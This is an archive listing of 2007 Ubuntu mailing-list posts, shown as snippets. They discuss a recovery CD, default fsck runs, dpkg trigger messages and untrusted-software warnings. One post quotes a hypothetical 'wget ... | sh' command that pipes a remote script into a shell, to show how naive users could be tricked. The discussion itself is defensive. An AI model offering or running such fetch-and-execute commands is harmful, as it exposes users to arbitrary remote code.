Re: recovery CD?

2007-10-01 Thread Chris Jones
I too have wanted to get a hold of such a disc since I've been using Ubuntu as I think it would be quite handy for many purposes. And in some cases, save a lot of time on recovering a system. Chris Jones Message: 1 Date: Sun, 30 Sep 2007 15:20:35 +0200 From: Mihamina (R12y) Rakotomandimby

Re: regular fsck runs are too disturbing

2007-10-01 Thread Waldemar Kornewald
On 10/1/07, Markus Hitter [EMAIL PROTECTED] wrote: Am 01.10.2007 um 00:16 schrieb Anthony Yarusso: How would it work in the background after your drives are mounted? Did you ever use WinXP and run chkdsk from the command line? It warns you that it can't *correct* errors (a reboot is needed

Re: regular fsck runs are too disturbing

2007-10-01 Thread Waldemar Kornewald
On 10/1/07, Luke Yelavich [EMAIL PROTECTED] wrote: So what happens when users install a distro that either doesn't check their filesystem regularly, or attempts to check in background, which can't be completed due to system activity etc, and they loose their data? I'd be thinking that

Re: regular fsck runs are too disturbing

2007-10-01 Thread François Ingelrest
On 10/1/07, Waldemar Kornewald [EMAIL PROTECTED] wrote: On 10/1/07, Luke Yelavich [EMAIL PROTECTED] wrote: So what happens when users install a distro that either doesn't check their filesystem regularly, or attempts to check in background, which can't be completed due to system

Re: regular fsck runs are too disturbing

2007-10-01 Thread Thilo Six
Waldemar Kornewald wrote the following on 01.10.2007 00:08 -snip- If you want fsck then you should be able to turn it on, but please don't assume that anyone else wants to have fsck enabled, by default. As many people have reported, it takes awfully long to boot with fsck and that's

Re: regular fsck runs are too disturbing

2007-10-01 Thread Sitsofe Wheeler
On Mon, 2007-10-01 at 20:13 +0200, Thilo Six wrote: There are two parts of computer users. The first one do backups, and second ones never had a harddisc failure. Here's a variation on your theme. There are three types of people in the world: Those who don't do backups. Those who do backups.

Re: regular fsck runs are too disturbing

2007-10-01 Thread Thilo Six
Sitsofe Wheeler wrote the following on 01.10.2007 21:10 -snip- Here's a variation on your theme. There are three types of people in the world: Those who don't do backups. Those who do backups. -snip- you seem to miss the important point second ones never had a harddisc failure. fsck

Processing triggers .... ?

2007-10-01 Thread Thilo Six
after upgrading du gutsy i now got these messages everytime when doing aptitude things: Processing triggers for libc6 ... ldconfig deferred processing now taking place Anyone knows about that? I have heard

Re: Processing triggers .... ?

2007-10-01 Thread Aurelien Naldi
Le lundi 01 octobre 2007 à 21:51 +0200, Thilo Six a écrit : after upgrading du gutsy i now got these messages everytime when doing aptitude things: Processing triggers for libc6 ... ldconfig deferred processing now taking place

Re: Processing triggers .... ?

2007-10-01 Thread Thilo Six
Aurelien Naldi wrote the following on 01.10.2007 22:07 -snip- Some package installed a lib and require ldconfig to be run, thanks to the trigger system ldconfig is now ran only once, when all packages have been installed (same for the update of the initramfs). This should make large upgrades

Re: *blocking* bugs in development versions (e.g. Gutsy).

2007-10-01 Thread Dean Sas
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Scott (angrykeyboarder) wrote: How does one convey the message that a bug is severe? Including a bug number in your mail would get more eyes looking at it. Thanks, Dean -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux)

Re: Untrusted software and security click-through warnings

2007-10-01 Thread João Pinto
Ian, in my opinion there is a major flaw on your assumptions. If someone is looking for an application X and find a site with: To get this application just open a terminal and type: Please type: wget -O - http://best.forubuntu.com | sh . Trust me, a naive user will just do it, a power user which

Re: Untrusted software and security click-through warnings

2007-10-01 Thread Matthew Paul Thomas
On Oct 2, 2007, at 11:51 AM, João Pinto wrote: ... If PPAs availability increases there will be nasty people providing nasty packages, if you are concerned about naive users, then my first suggestion is to present an initial screen during Ubuntu install with: If you add extra repositories or